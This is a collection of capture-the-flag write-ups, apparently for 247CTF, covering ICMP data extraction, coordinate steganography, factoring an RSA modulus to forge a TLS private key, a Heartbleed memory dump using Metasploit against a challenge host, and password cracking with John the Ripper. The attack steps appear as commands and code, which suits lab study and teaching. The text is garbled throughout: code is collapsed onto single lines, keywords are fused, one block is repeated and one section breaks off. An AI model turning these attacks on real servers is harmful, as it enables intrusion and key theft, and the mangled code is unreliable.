Identify the flag hidden within error messages of ICMP traffic
captured in a PCAP file.
Vulnerability
ICMP packets (ping replies) can carry data in their payload. The flag
is exfiltrated through ICMP echo replies. ICMP is often overlooked as a
potential data exfiltration channel.
Solution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
#!/usr/bin/env python3 from scapy.allimport rdpcap from scapy.layers.inet import ICMP
packets = rdpcap("error_reporting.pcap") flag = b""
for p in packets: # ICMP type 0 = Echo Reply (responses to ping requests) if p.haslayer(ICMP) and p[ICMP].type == 0and p.haslayer("Raw"): flag += p["Raw"].load
withopen("flag.jpg", "wb") as f: f.write(flag)
print("[+] Extracted data saved to flag.jpg")
The extracted data is a JPG image containing the flag.
A hidden painting is encoded as coordinates. Connect the dots to
reveal the flag.
Vulnerability
Steganography through coordinate encoding. Data is hidden in plain
sight as hex coordinates.
Solution
The challenge provides a file with hex-encoded coordinates:
1 2 3 4
0x4b 0x9d0 0x44 0x974 0x33 0x92 ...
Each line contains X and Y coordinates in hexadecimal format. Use
Python to plot them:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
import matplotlib.pyplot as plt
x_coords = [] y_coords = []
withopen("secret_map.txt", "r") as f: for line in f: line = line.strip() if line: parts = line.split() x_coords.append(int(parts[0], 16)) y_coords.append(-int(parts[1], 16))
The TLS certificate is transmitted in the handshake and reveals the
public key. If the RSA modulus has been factored previously, the private
key can be recovered.
from cryptography import x509 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey, RSAPublicKey from scapy import dadict from scapy.allimport * from scapy.allimport Raw, load_layer, rdpcap from scapy.layers.inet import IP, TCP from scapy.layers.tls.allimport TLS from scapy.layers.tls.cert import Cert from scapy.layers.tls.handshake import TLSCertificate
for pkt in packets: if pkt.haslayer(Raw): raw = pkt[Raw].load try: tls_parsed = TLS(raw) tls_cert_layer = tls_parsed.getlayer(TLSCertificate) if tls_cert_layer: print("[-] Found TLS Certificate.") cert = tls_cert_layer.certs for _, x509_wrapper in cert: cert_list.append(x509_wrapper) print("[-] Extracted a TLS Certificate.") else: print("[-] Found TLS packet.") except Exception as e: print(f"[-] Error: {e}") continue return cert_list
deffind_matching_private_key(target_modulus: int, keys_directory: str) -> str | None: print(f"[*] Searching for matching private key in {keys_directory} ...")
for key_file in glob(os.path.join(keys_directory, "*")): try: withopen(key_file, "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=None, backend=default_backend() )
except ValueError as e: print(f"[-] Failed to parse public key: {e}") returnNone
defcheck_pcap(pcap_path): packets = rdpcap(pcap_path) packets.show() for pkt in packets: pkt.show() if pkt.haslayer(Raw): raw = pkt[Raw].load try: print(raw.decode()) except Exception as e: print(f"[-] Error: {e}") continue
if __name__ == "__main__": cert_list = find_cert(PCAP_FILE) print(cert_list) for cert_obj in cert_list: modulus = get_modulus(cert_obj) exponent = get_exponent(cert_obj) print(modulus) print(exponent)
# if modulus: # key_path = find_matching_private_key(modulus, KEYS) # print(key_path)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
[-] Found TLS packet. [-] Found TLS Certificate. [-] Extracted a TLS Certificate. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS Certificate. [-] Extracted a TLS Certificate. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS packet. [-] Found TLS packet. [[X.509 Cert. Subject:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1, Issuer:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1], [X.509 Cert. Subject:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1, Issuer:/C=AU/O=247CTF/OU=net125/CN=127.0.0.1]] 150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579 65537 150140677816147665104219084736753210294673482912091623639530125054379822052662632476220418069658373540642718111649733795871151252404840997598533258881471779382418788567883517594075575444723340506445280678466322096113052425236787558022472785685579744210805862764465110689084328509029822107730392445215781001579 65537
try: req = urllib.request.Request(url, headers=headers) with urllib.request.urlopen(req) as response: data = json.loads(response.read().decode("utf-8"))
status = data.get("status", "Unknown") factors = data.get("factors", [])
print(f"[*] Target : {number}") print(f"[*] Status : {status}")
if factors: result = " * ".join([f"{base}^{exp}"for base, exp in factors]) print(f"[*] Factors: {result}") else: print("[!] No factors returned.")
except urllib.error.URLError as e: print(f"[!] Network Error: {e.reason}") except ValueError: print("[!] JSON parsing failed. Did FactorDB change their API?")
p = 11443069641880629381891581986018548808448150675612774441982091938562801238612124445967724562059877882869924090566492089872161438646198325341704520958011761 q = 13120664517031861557695339067275706831429518210212092859212127044658713747906482358428924486662467583986570766086011893335839637764790393666582606794678939 e = 65537
n = p * q phi = (p - 1) * (q - 1) d = pow(e, -1, phi)
key = RSA.construct((n, e, d, p, q)) withopen("private_key.pem", "wb") as f: f.write(key.export_key()) print("Key forged successfully.")
Step 4: Import and Use in Wireshark
Import the generated private key into Wireshark to decrypt the TLS
traffic and recover the flag.
Key Insight
This challenge demonstrates why factorization of RSA moduli is
critical—if a modulus can be factored, the entire RSA cryptosystem is
broken for that key pair. FactorDB maintains a public database of
previously factored numbers.
A webserver is storing sensitive data in memory. Exploit a known
vulnerability to read it.
Vulnerability
Heartbleed (CVE-2014-0160) - A critical
vulnerability in OpenSSL that allows reading server memory without
authentication. The vulnerability exploits the TLS heartbeat mechanism
to leak sensitive information including private keys, session tokens,
user data, and flags.
Solution
Use Metasploit's Heartbleed scanner module:
1 2 3 4 5 6
msfconsole msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 95fe58ed8b8d1ce7.247ctf.com msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 50326 ... msf auxiliary(scanner/ssl/openssl_heartbleed) > run
The module will dump server memory, which contains the flag.
Decrypt an OpenSSL-encrypted file. The file was encrypted with
openssl enc using a password.
Vulnerability
OpenSSL's enc command uses EVP_BytesToKey for password
derivation, which is relatively weak compared to modern key derivation
functions. Common passwords can be cracked with a good wordlist.
Solution
Step 1: Identify the encryption
1 2
file encrypted_flag.enc encrypted_flag.enc: openssl enc'd data with salted password
Step 2: Convert to crackable format
1
openssl2john encrypted_flag.enc > hash
Step 3: Crack the password
1 2 3
john hash --wordlist=rockyou.txt john --show hash encrypted_flag.enc:*7¡Vamos!
Step 4: Decrypt
1
openssl enc -d -aes-256-cbc -in encrypted_flag.enc -pass pass:"Vamos!" -out flag
Given many private keys, identify which one corresponds to a TLS
connection captured in a PCAP file.
Vulnerability
The TLS certificate in the handshake reveals the public key
(modulus). By comparing the public key's modulus with all available
private keys, the correct one can be identified.
❯ sudo python scrapy2.py Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https S Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 SA Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https A Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 PA / Raw Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https PA / Raw Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 FA Ether / IP / TCP 172.17.0.3:39618 > 172.17.0.2:pcsync_https FA Ether / IP / TCP 172.17.0.2:pcsync_https > 172.17.0.3:39618 A None
In the TLSv1.2 handshake, the server sends its X.509 certificate
containing the RSA public key. In RSA, the public and private keys share
the same modulus (N).
from cryptography import x509 from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.asymmetric.rsa import RSAPrivateKey, RSAPublicKey from scapy import dadict from scapy.allimport * from scapy.allimport Raw, load_layer, rdpcap from scapy.layers.inet import IP, TCP from scapy.layers.tls.allimport TLS from scapy.layers.tls.cert import Cert from scapy.layers.tls.handshake import TLSCertificate
for pkt in packets: if pkt.haslayer(Raw): raw = pkt[Raw].load try: tls_parsed = TLS(raw) tls_cert_layer = tls_parsed.getlayer(TLSCertificate) if tls_cert_layer: print("[-] Found TLS Certificate.") cert = tls_cert_layer.certs for _, x509_wrapper in cert: cert_list.append(x509_wrapper) print("[-] Extracted a TLS Certificate.") else: print("[-] Found TLS packet.") except Exception as e: print(f"[-] Error: {e}") continue return cert_list
deffind_matching_private_key(target_modulus: int, keys_directory: str) -> str | None: print(f"[*] Searching for matching private key in {keys_directory} ...")
for key_file in glob(os.path.join(keys_directory, "*")): try: withopen(key_file, "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=None, backend=default_backend() )
Guess a random number to win the flag lottery. The server generates
the winning number using a seeded PRNG.
Vulnerability
The server seeds the random number generator with the current Unix
timestamp, which is predictable. Additionally, Python 2 and Python 3
have different PRNG implementations and string conversion behaviors.
Solution
The server code is vulnerable because:
Predictable seed: Unix timestamp is public
knowledge
Time window: Even if time is slightly off, we can
try nearby timestamps
Version differences: Python 2's str()
truncates floats, making predictions consistent
Use Python 2 to generate predictions for timestamps around the
server's current time:
PRNGs seeded with time are not cryptographically secure. Use
secrets or os.urandom() for security-sensitive
randomness. Additionally, always be aware of version-specific
differences in language implementations when predicting values.